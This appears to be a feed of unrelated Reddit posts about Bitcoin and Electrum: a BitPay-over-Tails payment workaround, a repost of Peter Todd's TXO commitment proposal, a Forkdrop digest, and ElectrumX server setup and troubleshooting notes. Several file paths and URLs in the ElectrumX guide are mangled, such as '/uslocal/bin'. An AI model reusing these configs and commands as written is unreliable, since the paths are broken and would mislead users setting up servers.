bitcoin:?r=https://bitpay.com/i/LSn1DrmQ2RF2VaF8nFHvdt
 
2- change the url to THIS, and paste that into any browser and you will get the ACTUAL BTC address to send to.
 
https://bitpay.com/invoice-noscript?id= (YOUR ID)
so thus:
https://bitpay.com/invoice-noscript?id=LSn1DrmQ2RF2VaF8nFHvdt
 
(note; you wont see anything but a "invoice archived" msg if you try url above, as you need a live/valid bitpay invoice to use this on)
 
you will get a https website with the exact amount to send and a real BTC address to send to. (DONT FORGET TO ADD BTC NETWORK/TX FEES on-top of this amount, ofcourse)
 
so why is this especially important for users that care about privacy, AND SECURITY (thus use a fresh, tails os "live" + electrum)... bc bitpay, oh so wisely, is protecting that bitcoin URI address with CLOUDFLAIR, and we all know how great cloudflair is with TOR / TAILS. so you guessed it, when you try to paste "bitcoin:?r=https://bitpay.com/i/LSn1DrmQ2RF2VaF8nFHvdt" into the SEND field in electrum, on TOTAILS, when electrum sends out the https request, it gets blocked by cloudflair (w no way for the user to pass the capcha). so instead of electrum being able to work as it should with BIP70 / BTC URI's, (ie filling out all the other fields with data provided in that reply to the URI req.), it will SOMETIMES, open the no_script URL in Tor Browser (only if you have it open first, i did several test runs and most of the time electrum just got stuck on Please wait.. in the send field).
 
rant: (hoenstly, im too tired at this point to give my full rant) so suffice it to say, this is a very poor decision on Bitpays part (mainly the use of cloudflair infront of the URI specific server). I understand why they are moving to URI's and I understand why they use cloudflare, but this is a nightmare for BTC sec. and BTC privacy, as it almost forces the user to use a wallet on their main PC (horrible), while also eliminating the use of Tails (which is one of the best mehtods for BTC sec and BTC privacy). I would rather use a known good Tails ISO in LIVE DVD mode for those rare times i enter my seed. Even when compared to using a linux live CD and having to download and install a fresh copy of electrum (as i now have to trust the and/or re-verify the electrum binaries each time, vs tails' built in copy).
 
anyway, i wish i were able to find this info above, prior to spending 4 hours trying to pay various BitPay invoices as i was shocked when i didnt see a BTC addy to send to for the first time.
further reading: (note: in the reddit link below, no offense to the author of this neat python tool to extract BTC addy from bitpay URI's, but i dont feel comfortable sending to a BTC addy provided from a python script when i perosnally, am not skilled enough to audit that python code myself, but credit to him for taking the time to write it)
https://www.reddit.com/Bitcoin/comments/7n6oaa/annoyed_by_bitpays_exclusive_use_of_the_payment/
https://bitcointalk.org/index.php?topic=2642207.0
https://blog.bitpay.com/payment-protocol/
https://support.bitpay.com/hc/en-us/articles/115005559826
 
EDIT: nice of bitpay to reply here + address this directly (however Tails OS + Tor needs to be part of bitpay's test suite PRIOR to any changes / updates):
https://support.bitpay.com/hc/en-us/articles/115003014566-Why-can-t-I-pay-a-BitPay-invoice-in-my-Tor-browser-
submitted by jimmy58743 to Bitcoin [link] [comments]

Merkle Trees and Mountain Ranges - Making UTXO Set Growth Irrelevant With Low-Latency Delayed TXO Commitments

Original link: https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2016-May/012715.html
Unedited text and originally written by:

Peter Todd pete at petertodd.org
Tue May 17 13:23:11 UTC 2016
Previous message: [bitcoin-dev] Bip44 extension for P2SH/P2WSH/...
Next message: [bitcoin-dev] Making UTXO Set Growth Irrelevant With Low-Latency Delayed TXO Commitments
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
# Motivation

UTXO growth is a serious concern for Bitcoin's long-term decentralization. To
run a competitive mining operation potentially the entire UTXO set must be in
RAM to achieve competitive latency; your larger, more centralized, competitors
will have the UTXO set in RAM. Mining is a zero-sum game, so the extra latency
of not doing so if they do directly impacts your profit margin. Secondly,
having possession of the UTXO set is one of the minimum requirements to run a
full node; the larger the set the harder it is to run a full node.

Currently the maximum size of the UTXO set is unbounded as there is no
consensus rule that limits growth, other than the block-size limit itself; as
of writing the UTXO set is 1.3GB in the on-disk, compressed serialization,
which expands to significantly more in memory. UTXO growth is driven by a
number of factors, including the fact that there is little incentive to merge
inputs, lost coins, dust outputs that can't be economically spent, and
non-btc-value-transfer "blockchain" use-cases such as anti-replay oracles and
timestamping.

We don't have good tools to combat UTXO growth. Segregated Witness proposes to
give witness space a 75% discount, in part of make reducing the UTXO set size
by spending txouts cheaper. While this may change wallets to more often spend
dust, it's hard to imagine an incentive sufficiently strong to discourage most,
let alone all, UTXO growing behavior.

For example, timestamping applications often create unspendable outputs due to
ease of implementation, and because doing so is an easy way to make sure that
the data required to reconstruct the timestamp proof won't get lost - all
Bitcoin full nodes are forced to keep a copy of it. Similarly anti-replay
use-cases like using the UTXO set for key rotation piggyback on the uniquely
strong security and decentralization guarantee that Bitcoin provides; it's very
difficult - perhaps impossible - to provide these applications with
alternatives that are equally secure. These non-btc-value-transfer use-cases
can often afford to pay far higher fees per UTXO created than competing
btc-value-transfer use-cases; many users could afford to spend $50 to register
a new PGP key, yet would rather not spend $50 in fees to create a standard two
output transaction. Effective techniques to resist miner censorship exist, so
without resorting to whitelists blocking non-btc-value-transfer use-cases as
"spam" is not a long-term, incentive compatible, solution.

A hard upper limit on UTXO set size could create a more level playing field in
the form of fixed minimum requirements to run a performant Bitcoin node, and
make the issue of UTXO "spam" less important. However, making any coins
unspendable, regardless of age or value, is a politically untenable economic
change.


# TXO Commitments

A merkle tree committing to the state of all transaction outputs, both spent
and unspent, we can provide a method of compactly proving the current state of
an output. This lets us "archive" less frequently accessed parts of the UTXO
set, allowing full nodes to discard the associated data, still providing a
mechanism to spend those archived outputs by proving to those nodes that the
outputs are in fact unspent.

Specifically TXO commitments proposes a Merkle Mountain Range¹ (MMR), a
type of deterministic, indexable, insertion ordered merkle tree, which allows
new items to be cheaply appended to the tree with minimal storage requirements,
just log2(n) "mountain tips". Once an output is added to the TXO MMR it is
never removed; if an output is spent its status is updated in place. Both the
state of a specific item in the MMR, as well the validity of changes to items
in the MMR, can be proven with log2(n) sized proofs consisting of a merkle path
to the tip of the tree.

At an extreme, with TXO commitments we could even have no UTXO set at all,
entirely eliminating the UTXO growth problem. Transactions would simply be
accompanied by TXO commitment proofs showing that the outputs they wanted to
spend were still unspent; nodes could update the state of the TXO MMR purely
from TXO commitment proofs. However, the log2(n) bandwidth overhead per txin is
substantial, so a more realistic implementation is be to have a UTXO cache for
recent transactions, with TXO commitments acting as a alternate for the (rare)
event that an old txout needs to be spent.

Proofs can be generated and added to transactions without the involvement of
the signers, even after the fact; there's no need for the proof itself to
signed and the proof is not part of the transaction hash. Anyone with access to
TXO MMR data can (re)generate missing proofs, so minimal, if any, changes are
required to wallet software to make use of TXO commitments.


## Delayed Commitments

TXO commitments aren't a new idea - the author proposed them years ago in
response to UTXO commitments. However it's critical for small miners' orphan
rates that block validation be fast, and so far it has proven difficult to
create (U)TXO implementations with acceptable performance; updating and
recalculating cryptographicly hashed merkelized datasets is inherently more
work than not doing so. Fortunately if we maintain a UTXO set for recent
outputs, TXO commitments are only needed when spending old, archived, outputs.
We can take advantage of this by delaying the commitment, allowing it to be
calculated well in advance of it actually being used, thus changing a
latency-critical task into a much easier average throughput problem.

Concretely each block B_i commits to the TXO set state as of block B_{i-n}, in
other words what the TXO commitment would have been n blocks ago, if not for
the n block delay. Since that commitment only depends on the contents of the
blockchain up until block B_{i-n}, the contents of any block after are
irrelevant to the calculation.


## Implementation

Our proposed high-performance/low-latency delayed commitment full-node
implementation needs to store the following data:

1) UTXO set

Low-latency K:V map of txouts definitely known to be unspent. Similar to
existing UTXO implementation, but with the key difference that old,
unspent, outputs may be pruned from the UTXO set.


2) STXO set

Low-latency set of transaction outputs known to have been spent by
transactions after the most recent TXO commitment, but created prior to the
TXO commitment.


3) TXO journal

FIFO of outputs that need to be marked as spent in the TXO MMR. Appends
must be low-latency; removals can be high-latency.


4) TXO MMR list

Prunable, ordered list of TXO MMR's, mainly the highest pending commitment,
backed by a reference counted, cryptographically hashed object store
indexed by digest (similar to how git repos work). High-latency ok. We'll
cover this in more in detail later.


### Fast-Path: Verifying a Txout Spend In a Block

When a transaction output is spent by a transaction in a block we have two
cases:

1) Recently created output

Output created after the most recent TXO commitment, so it should be in the
UTXO set; the transaction spending it does not need a TXO commitment proof.
Remove the output from the UTXO set and append it to the TXO journal.

2) Archived output

Output created prior to the most recent TXO commitment, so there's no
guarantee it's in the UTXO set; transaction will have a TXO commitment
proof for the most recent TXO commitment showing that it was unspent.
Check that the output isn't already in the STXO set (double-spent), and if
not add it. Append the output and TXO commitment proof to the TXO journal.

In both cases recording an output as spent requires no more than two key:value
updates, and one journal append. The existing UTXO set requires one key:value
update per spend, so we can expect new block validation latency to be within 2x
of the status quo even in the worst case of 100% archived output spends.


### Slow-Path: Calculating Pending TXO Commitments

In a low-priority background task we flush the TXO journal, recording the
outputs spent by each block in the TXO MMR, and hashing MMR data to obtain the
TXO commitment digest. Additionally this background task removes STXO's that
have been recorded in TXO commitments, and prunes TXO commitment data no longer
needed.

Throughput for the TXO commitment calculation will be worse than the existing
UTXO only scheme. This impacts bulk verification, e.g. initial block download.
That said, TXO commitments provides other possible tradeoffs that can mitigate
impact of slower validation throughput, such as skipping validation of old
history, as well as fraud proof approaches.


### TXO MMR Implementation Details

Each TXO MMR state is a modification of the previous one with most information
shared, so we an space-efficiently store a large number of TXO commitments
states, where each state is a small delta of the previous state, by sharing
unchanged data between each state; cycles are impossible in merkelized data
structures, so simple reference counting is sufficient for garbage collection.
Data no longer needed can be pruned by dropping it from the database, and
unpruned by adding it again. Since everything is committed to via cryptographic
hash, we're guaranteed that regardless of where we get the data, after
unpruning we'll have the right data.

Let's look at how the TXO MMR works in detail. Consider the following TXO MMR
with two txouts, which we'll call state #0:

0
/ \
a b

If we add another entry we get state #1:

1
/ \
0 \
/ \ \
a b c

Note how it 100% of the state #0 data was reused in commitment #1. Let's
add two more entries to get state #2:

2
/ \
2 \
/ \ \
/ \ \
/ \ \
0 2 \
/ \ / \ \
a b c d e

This time part of state #1 wasn't reused - it's wasn't a perfect binary
tree - but we've still got a lot of re-use.

Now suppose state #2 is committed into the blockchain by the most recent block.
Future transactions attempting to spend outputs created as of state #2 are
obliged to prove that they are unspent; essentially they're forced to provide
part of the state #2 MMR data. This lets us prune that data, discarding it,
leaving us with only the bare minimum data we need to append new txouts to the
TXO MMR, the tips of the perfect binary trees ("mountains") within the MMR:

2
/ \
2 \
\
\
\
\
\
e

Note that we're glossing over some nuance here about exactly what data needs to
be kept; depending on the details of the implementation the only data we need
for nodes "2" and "e" may be their hash digest.

Adding another three more txouts results in state #3:

3
/ \
/ \
/ \
/ \
/ \
/ \
/ \
2 3
/ \
/ \
/ \
3 3
/ \ / \
e f g h

Suppose recently created txout f is spent. We have all the data required to
update the MMR, giving us state #4. It modifies two inner nodes and one leaf
node:

4
/ \
/ \
/ \
/ \
/ \
/ \
/ \
2 4
/ \
/ \
/ \
4 3
/ \ / \
e (f) g h

If an archived txout is spent requires the transaction to provide the merkle
path to the most recently committed TXO, in our case state #2. If txout b is
spent that means the transaction must provide the following data from state #2:

2
/
2
/
/
/
0
\
b

We can add that data to our local knowledge of the TXO MMR, unpruning part of
it:

4
/ \
/ \
/ \
/ \
/ \
/ \
/ \
2 4
/ / \
/ / \
/ / \
0 4 3
\ / \ / \
b e (f) g h

Remember, we haven't _modified_ state #4 yet; we just have more data about it.
When we mark txout b as spent we get state #5:

5
/ \
/ \
/ \
/ \
/ \
/ \
/ \
5 4
/ / \
/ / \
/ / \
5 4 3
\ / \ / \
(b) e (f) g h

Secondly by now state #3 has been committed into the chain, and transactions
that want to spend txouts created as of state #3 must provide a TXO proof
consisting of state #3 data. The leaf nodes for outputs g and h, and the inner
node above them, are part of state #3, so we prune them:

5
/ \
/ \
/ \
/ \
/ \
/ \
/ \
5 4
/ /
/ /
/ /
5 4
\ / \
(b) e (f)

Finally, lets put this all together, by spending txouts a, c, and g, and
creating three new txouts i, j, and k. State #3 was the most recently committed
state, so the transactions spending a and g are providing merkle paths up to
it. This includes part of the state #2 data:

3
/ \
/ \
/ \
/ \
/ \
/ \
/ \
2 3
/ \ \
/ \ \
/ \ \
0 2 3
/ / /
a c g

After unpruning we have the following data for state #5:

5
/ \
/ \
/ \
/ \
/ \
/ \
/ \
5 4
/ \ / \
/ \ / \
/ \ / \
5 2 4 3
/ \ / / \ /
a (b) c e (f) g

That's sufficient to mark the three outputs as spent and add the three new
txouts, resulting in state #6:

6
/ \
/ \
/ \
/ \
/ \
6 \
/ \ \
/ \ \
/ \ \
/ \ \
/ \ \
/ \ \
/ \ \
6 6 \
/ \ / \ \
/ \ / \ 6
/ \ / \ / \
6 6 4 6 6 \
/ \ / / \ / / \ \
(a) (b) (c) e (f) (g) i j k

Again, state #4 related data can be pruned. In addition, depending on how the
STXO set is implemented may also be able to prune data related to spent txouts
after that state, including inner nodes where all txouts under them have been
spent (more on pruning spent inner nodes later).


### Consensus and Pruning

It's important to note that pruning behavior is consensus critical: a full node
that is missing data due to pruning it too soon will fall out of consensus, and
a miner that fails to include a merkle proof that is required by the consensus
is creating an invalid block. At the same time many full nodes will have
significantly more data on hand than the bare minimum so they can help wallets
make transactions spending old coins; implementations should strongly consider
separating the data that is, and isn't, strictly required for consensus.

A reasonable approach for the low-level cryptography may be to actually treat
the two cases differently, with the TXO commitments committing too what data
does and does not need to be kept on hand by the UTXO expiration rules. On the
other hand, leaving that uncommitted allows for certain types of soft-forks
where the protocol is changed to require more data than it previously did.


### Consensus Critical Storage Overheads

Only the UTXO and STXO sets need to be kept on fast random access storage.
Since STXO set entries can only be created by spending a UTXO - and are smaller
than a UTXO entry - we can guarantee that the peak size of the UTXO and STXO
sets combined will always be less than the peak size of the UTXO set alone in
the existing UTXO-only scheme (though the combined size can be temporarily
higher than what the UTXO set size alone would be when large numbers of
archived txouts are spent).

TXO journal entries and unpruned entries in the TXO MMR have log2(n) maximum
overhead per entry: a unique merkle path to a TXO commitment (by "unique" we
mean that no other entry shares data with it). On a reasonably fast system the
TXO journal will be flushed quickly, converting it into TXO MMR data; the TXO
journal will never be more than a few blocks in size.

Transactions spending non-archived txouts are not required to provide any TXO
commitment data; we must have that data on hand in the form of one TXO MMR
entry per UTXO. Once spent however the TXO MMR leaf node associated with that
non-archived txout can be immediately pruned - it's no longer in the UTXO set
so any attempt to spend it will fail; the data is now immutable and we'll never
need it again. Inner nodes in the TXO MMR can also be pruned if all leafs under
them are fully spent; detecting this is easy the TXO MMR is a merkle-sum tree,
with each inner node committing to the sum of the unspent txouts under it.

When a archived txout is spent the transaction is required to provide a merkle
path to the most recent TXO commitment. As shown above that path is sufficient
information to unprune the necessary nodes in the TXO MMR and apply the spend
immediately, reducing this case to the TXO journal size question (non-consensus
critical overhead is a different question, which we'll address in the next
section).

Taking all this into account the only significant storage overhead of our TXO
commitments scheme when compared to the status quo is the log2(n) merkle path
overhead; as long as less than 1/log2(n) of the UTXO set is active,
non-archived, UTXO's we've come out ahead, even in the unrealistic case where
all storage available is equally fast. In the real world that isn't yet the
case - even SSD's significantly slower than RAM.


### Non-Consensus Critical Storage Overheads

Transactions spending archived txouts pose two challenges:

1) Obtaining up-to-date TXO commitment proofs

2) Updating those proofs as blocks are mined

The first challenge can be handled by specialized archival nodes, not unlike
how some nodes make transaction data available to wallets via bloom filters or
the Electrum protocol. There's a whole variety of options available, and the
the data can be easily sharded to scale horizontally; the data is
self-validating allowing horizontal scaling without trust.

While miners and relay nodes don't need to be concerned about the initial
commitment proof, updating that proof is another matter. If a node aggressively
prunes old versions of the TXO MMR as it calculates pending TXO commitments, it
won't have the data available to update the TXO commitment proof to be against
the next block, when that block is found; the child nodes of the TXO MMR tip
are guaranteed to have changed, yet aggressive pruning would have discarded that
data.

Relay nodes could ignore this problem if they simply accept the fact that
they'll only be able to fully relay the transaction once, when it is initially
broadcast, and won't be able to provide mempool functionality after the initial
relay. Modulo high-latency mixnets, this is probably acceptable; the author has
previously argued that relay nodes don't need a mempool² at all.

For a miner though not having the data necessary to update the proofs as blocks
are found means potentially losing out on transactions fees. So how much extra
data is necessary to make this a non-issue?

Since the TXO MMR is insertion ordered, spending a non-archived txout can only
invalidate the upper nodes in of the archived txout's TXO MMR proof (if this
isn't clear, imagine a two-level scheme, with a per-block TXO MMRs, committed
by a master MMR for all blocks). The maximum number of relevant inner nodes
changed is log2(n) per block, so if there are n non-archival blocks between the
most recent TXO commitment and the pending TXO MMR tip, we have to store
log2(n)*n inner nodes - on the order of a few dozen MB even when n is a
(seemingly ridiculously high) year worth of blocks.

Archived txout spends on the other hand can invalidate TXO MMR proofs at any
level - consider the case of two adjacent txouts being spent. To guarantee
success requires storing full proofs. However, they're limited by the blocksize
limit, and additionally are expected to be relatively uncommon. For example, if
1% of 1MB blocks was archival spends, our hypothetical year long TXO commitment
delay is only a few hundred MB of data with low-IO-performance requirements.


## Security Model

Of course, a TXO commitment delay of a year sounds ridiculous. Even the slowest
imaginable computer isn't going to need more than a few blocks of TXO
commitment delay to keep up ~100% of the time, and there's no reason why we
can't have the UTXO archive delay be significantly longer than the TXO
commitment delay.

However, as with UTXO commitments, TXO commitments raise issues with Bitcoin's
security model by allowing relatively miners to profitably mine transactions
without bothering to validate prior history. At the extreme, if there was no
commitment delay at all at the cost of a bit of some extra network bandwidth
"full" nodes could operate and even mine blocks completely statelessly by
expecting all transactions to include "proof" that their inputs are unspent; a
TXO commitment proof for a commitment you haven't verified isn't a proof that a
transaction output is unspent, it's a proof that some miners claimed the txout
was unspent.

At one extreme, we could simply implement TXO commitments in a "virtual"
fashion, without miners actually including the TXO commitment digest in their
blocks at all. Full nodes would be forced to compute the commitment from
scratch, in the same way they are forced to compute the UTXO state, or total
work. Of course a full node operator who doesn't want to verify old history can
get a copy of the TXO state from a trusted source - no different from how you
could get a copy of the UTXO set from a trusted source.

A more pragmatic approach is to accept that people will do that anyway, and
instead assume that sufficiently old blocks are valid. But how old is
"sufficiently old"? First of all, if your full node implementation comes "from
the factory" with a reasonably up-to-date minimum accepted total-work
thresholdⁱ - in other words it won't accept a chain with less than that amount
of total work - it may be reasonable to assume any Sybil attacker with
sufficient hashing power to make a forked chain meeting that threshold with,
say, six months worth of blocks has enough hashing power to threaten the main
chain as well.

That leaves public attempts to falsify TXO commitments, done out in the open by
the majority of hashing power. In this circumstance the "assumed valid"
threshold determines how long the attack would have to go on before full nodes
start accepting the invalid chain, or at least, newly installed/recently reset
full nodes. The minimum age that we can "assume valid" is tradeoff between
political/social/technical concerns; we probably want at least a few weeks to
guarantee the defenders a chance to organise themselves.

With this in mind, a longer-than-technically-necessary TXO commitment delayʲ
may help ensure that full node software actually validates some minimum number
of blocks out-of-the-box, without taking shortcuts. However this can be
achieved in a wide variety of ways, such as the author's prev-block-proof
proposal³, fraud proofs, or even a PoW with an inner loop dependent on
blockchain data. Like UTXO commitments, TXO commitments are also potentially
very useful in reducing the need for SPV wallet software to trust third parties
providing them with transaction data.

i) Checkpoints that reject any chain without a specific block are a more
common, if uglier, way of achieving this protection.

j) A good homework problem is to figure out how the TXO commitment could be
designed such that the delay could be reduced in a soft-fork.


## Further Work

While we've shown that TXO commitments certainly could be implemented without
increasing peak IO bandwidth/block validation latency significantly with the
delayed commitment approach, we're far from being certain that they should be
implemented this way (or at all).

1) Can a TXO commitment scheme be optimized sufficiently to be used directly
without a commitment delay? Obviously it'd be preferable to avoid all the above
complexity entirely.

2) Is it possible to use a metric other than age, e.g. priority? While this
complicates the pruning logic, it could use the UTXO set space more
efficiently, especially if your goal is to prioritise bitcoin value-transfer
over other uses (though if "normal" wallets nearly never need to use TXO
commitments proofs to spend outputs, the infrastructure to actually do this may
rot).

3) Should UTXO archiving be based on a fixed size UTXO set, rather than an
age/priority/etc. threshold?

4) By fixing the problem (or possibly just "fixing" the problem) are we
encouraging/legitimising blockchain use-cases other than BTC value transfer?
Should we?

5) Instead of TXO commitment proofs counting towards the blocksize limit, can
we use a different miner fairness/decentralization metric/incentive? For
instance it might be reasonable for the TXO commitment proof size to be
discounted, or ignored entirely, if a proof-of-propagation scheme (e.g.
thinblocks) is used to ensure all miners have received the proof in advance.

6) How does this interact with fraud proofs? Obviously furthering dependency on
non-cryptographically-committed STXO/UTXO databases is incompatible with the
modularized validation approach to implementing fraud proofs.


# References

1) "Merkle Mountain Ranges",
Peter Todd, OpenTimestamps, Mar 18 2013,
https://github.com/opentimestamps/opentimestamps-serveblob/mastedoc/merkle-mountain-range.md

2) "Do we really need a mempool? (for relay nodes)",
Peter Todd, bitcoin-dev mailing list, Jul 18th 2015,
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-July/009479.html

3) "Segregated witnesses and validationless mining",
Peter Todd, bitcoin-dev mailing list, Dec 23rd 2015,
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-Decembe012103.html

--
https://petertodd.org 'peter'[:-1]@petertodd.org
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 455 bytes
Desc: Digital signature
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20160517/33f69665/attachment-0001.sig>
submitted by Godballz to CryptoTechnology [link] [comments]

Forkdrop.io Weekly Digest 2018-07-19

https://forkdrop.io and follow us on Twitter https://twitter.com/forkdrop
The news is quite sparse right now - there is very little worth mentioning this week, so we are going to ease off the weekly updates and try for possibly bi-weekly or as-needed updates.
Forks: 116 (Bitcoin: 74 Altcoin: 20 Historic: 22) - Exchanges: 91
Updates:
Forkdrop Suite status update:
Disappointingly, Blockchain.info's .onion access point has been down for over a week. Nobody has responded to our support ticket and it looks like it isn't a high priority for them. :(
In response, we have patched Forkdrop Suite to allow you to specify an Electrum server to query transaction record history from rather than blockchain.info. You will need to choose a server to connect to, and there are lists available if you search for them, but the results for whether they are still online and quick to respond to queries are mixed. Works fine with this server: https://electrum-server.ninja/, but choose your own server depending on your use case.
You can query this Electrum server from TAILS by giving the options to claim-prep.py: --electrum-server s7clinmo4cazmhul.onion --electrum-port 50001 --electrum-no-ssl (SSL is not needed/wanted/possible over Tor, since the concept is redundant with the onion routing and the .onion url scheme)
If you are running from non-TAILS (using --not-tails), giving --electrum-serverelectrum-server.ninja will default to SSL and port 50002
We wrote an article to cover this top in more detail: https://forkdrop.io/choosing-an-electrum-server-for-forkdrop-suite and have edited the rest of our guides on the site to cover this new option.
We are still hoping that blockchain.info fixes their access, since that is most convenient and easy to understand for a novice user. However, this Electrum option provides a decentralized alternative for those that really need it. If anyone is aware of a different block explorer with a .onion access point to fill the void (or is interested in hosting one), let us know.
submitted by forkdrop to BitcoinAirdrops [link] [comments]

Some additional information if you're planning to run an Electrum server

FIRST OF ALL: YOU NEED TO PUT YOUR DATA DIRECTORY ON A SSD, A HDD IS TOO SLOW.
 
Operating system: UBUNTU LINUX
 
You find information to run an Electrum server (called Electrumx) here and the installer here, but I think it's useful to have a look at the information here first:
 
My Electrumx data is in /media/electrumx/db_directoy
ls -d /media/electrumx/db_directory/* 
/media/electrumx/db_directory/COIN
/media/electrumx/db_directory/meta/
/media/electrumx/db_directory/hist/
/media/electrumx/db_directory/utxo/
and /media/electrumx points to my SSD
df /media/electrumx/ 
/dev/sdb1 230G 69G 149G 32% /media/electrumx
 
USE THE ELECTRUMX INSTALLER
See: https://github.com/bauerj/electrumx-installer
Download the installer:
git clone https://github.com/bauerj/electrumx-installer.git 
Go into the installer directory:
cd electrumx-installer 
I didn't use options when running install.sh, just changed the following directly in the intstall.sh script:
DB_DIR="/media/electrumx/db_directory"
UPDATE_ONLY=0
USE_ROCKSDB=0
After that:
sudo ./install.sh 
 
RUNNING ELECTRUMX
I start electrumx like this:
sudo systemctl start electrumx 
I stop electrumx like this:
sudo systemctl stop electrumx 
 
Contents of /etc/systemd/system/electrumx.service
[Unit]
Description=Electrumx
After=network.target
[Service]
EnvironmentFile=/etc/electrumx.conf
ExecStart=/uslocal/bin/electrumx_server.py
User=user
LimitNOFILE=26899
TimeoutStopSec=30min
[Install]
WantedBy=multi-user.target
 
Getinfo
The electrum rpc is here:
ls -ld /uslocal/bin/electrumx_rpc.py 
-rwxr-xr-x 1 root root 189 okt 30 2017 /uslocal/bin/electrumx_rpc.py*
The command:
electrumx_rpc.py getinfo 
gives you information about your server
 
Contents of my /etc/electrumx.conf
DB_DIRECTORY = /media/electrumx/db_directory
# see your bitcoin.conf rpcuser:rpcpassword
DAEMON_URL = bitcoinrpc:[email protected]
COIN = BitcoinSegwit
DONATION_ADDRESS = 1FrMeUQuwo1RJRh5CytLrPY4xtYDLRM9rb
HOST = 0.0.0.0
TCP_PORT = 50001
SSL_PORT = 50002
SSL_CERTFILE = /etc/server.crt
SSL_KEYFILE = /etc/server.key
REPORT_HOST = Bitcoin-node.nl
# see: sudo cat /valib/toelectrum-service/hostname
REPORT_HOST_TOR = .....onion
BANNER_FILE = /etc/electrum_banner.txt
TOR_BANNER_FILE = /etc/electrum_tor_banner.txt
 
Contents of /etc/electrum_banner.txt
Welcome to Electrumx Server Bitcoin-node.nl
Donations: 1FrMeUQuwo1RJRh5CytLrPY4xtYDLRM9rb
 
Contents of /etc/electrum_tor_banner.txt
Donations: your bitcoin address
 
This is what I remember I did to use the Trezor with electrum
sudo apt-get install python-dev cython libusb-1.0-0-dev libudev-dev git
sudo pip3 install setuptools
sudo pip3 install btchip-python
sudo pip3 install hidapi
sudo pip3 install trezor
Put the following line in: /etc/udev/rules.d/51-trezor.rules
SUBSYSTEM=="usb", ATTR{idVendor}=="534c", ATTR{idProduct}=="0001", MODE="0660", GROUP="plugdev", TAG+="uaccess", TAG+="udev-acl", SYMLINK+="trezor%n" KERNEL=="hidraw*", ATTRS{idVendor}=="534c", ATTRS{idProduct}=="0001", MODE="0660", GROUP="plugdev", TAG+="uaccess", TAG+="udev-acl"
submitted by sumBTC to Bitcoin [link] [comments]

My experience

So I got a few coins in 2013. Used bitcoin-qt then, which I guess was already a mistake then, but it seemed to be the most official and trustworthy client. At some point the PC died, and I stopped running the client.
Fast forward to 2016, and I'm looking to use BTC again after the wallet had been collecting dust for years. There's no way I'm getting this bitcoin-qt thing up and running again without many weeks of downloading the blockchain, especially since my old backup of the chain isn't readable by the new client (feeding it those files just drops an exception or crash without any explanation).
So I looked for alternatives and ended up using Electrum. Of course, the bitcoin-qt wallet is not readable. Most web searches brought up three suggestions:
So after I just gave up once or twice, I put in the effort and figured out how I can dump the wallet to a text file and work with that. Importing the keys to Electrum didn't work immediately, of course, because they are only contained in the first column of that file, and the rest is garbage as far as Electrum is concerned. So I carefully copied the 100 keys from the first column out of the wallet text dump by hand. I'm sure there's an easier way somewhere, but this worked, so I didn't complain.
Got that Electrum working and successfully did a few transaction. This Bitcoin thing was looking pretty nifty again. But now, just a few days later, the network rejects my transactions because the client is too old. I admit it's old, but it is the default on my distribution.
So I went and got the new version. Didn't start up, but dropped an obscure Python error, because I didn't uninstall the old version and this apparently resulted in a broken mix of old and new software components.
So I got it working by uninstalling the old version and reinstalling the new version, and then this thing JUST IGNORES THE OLD WALLET AND OVERWRITES IT with a new one, without any comment, any user confirmation, anything. Back to copying 100 keys from a dump file to restore things.
This worked, and I could send transactions again, but the confirmations appear to take much longer. Maybe it's because the default fee was changed to 0.000187 from 0.0002.
Now I'll admit that I probably made lots of mistakes, and it's partially my own fault for using bitcoin-qt, and so on and so forth. But on the whole, this experience is a complete usability nightmare. Versions are just changed incompatibly and the developers don't care what happens to your old wallet. There is real money involved, but there seems to be a looming "so what, it's just internet play money" attiude from the old days when 40k btc bux bought a pizza or less. I have to deal with arcane console commands, copy keys around, etc.
How is this even possible? How can the average person be expected to put up with this?
submitted by gnu6969 to btc [link] [comments]

My Electron Cash server is ready

The server is running Bitcoin ABC and ElectrumX.
The server can be reached using the URL electron.ueo.ch with or without SSL.
Please let me know if you find issues so that I can fix them before the fork.
submitted by torusJKL to btc [link] [comments]

Problems with ElectrumX server

I have setup my ElectrumX server, but I, nor anyone else can connect to it, Im using UFW and the ports are definitely not blocked, looking in netstat I dont even see any process listening on the electrumx server ports. Any assistance will be greatly appreciated.
Also there are no errors in the logs and it is currently 1,002 blocks behind, and chugging along.

EDIT:

I have been told that you cannot connect to your electrumx server until it has finished synchronizing at least once. I have submitted a request to improve the documentation.

Here is my electrumx.conf:

DB_DIRECTORY = /db
DAEMON_URL =
DB_ENGINE=rocksdb
SSL_CERTFILE=/etc/electrumx/server.crt
SSL_KEYFILE=/etc/electrumx/server.key
TCP_PORT=50011
SSL_PORT=50012
HOST=127.0.0.1,xx.xx.xx.xx,0.0.0.0,xx.xx.xx.xx
COIN=BitcoinSegwit
DONATION_ADDRESS=3Nwnujrf2jEghDGiQ2QNmbV2tJSvjwodrt
REPORT_HOST=
REPORT_TCP_PORT=109
REPORT_SSL_PORT=110
BANNER_FILE=/etc/electrum.banner
IRC=yes

Here are the logs:

Dec 4 13:26:49 such electrumx_server.py[17106]: INFO:root:ElectrumX server starting
Dec 4 13:26:49 such electrumx_server.py[17106]: INFO:Controller:event loop policy: None
Dec 4 13:26:49 such electrumx_server.py[17106]: INFO:Daemon:daemon #1 at localhost:8332/ (current)
Dec 4 13:26:49 such electrumx_server.py[17106]: INFO:BlockProcessor:switching current directory to /db
Dec 4 13:26:49 such electrumx_server.py[17106]: INFO:BlockProcessor:using rocksdb for DB backend
Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:BlockProcessor:opened DB for serving
Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:BlockProcessor:software version: ElectrumX 1.2
Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:BlockProcessor:DB version: 6
Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:BlockProcessor:coin: BitcoinSegwit
Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:BlockProcessor:network: mainnet
Dec 4 13:27:49 such electrumx_server.py[17106]: INFO:BlockProcessor:height: 496,598
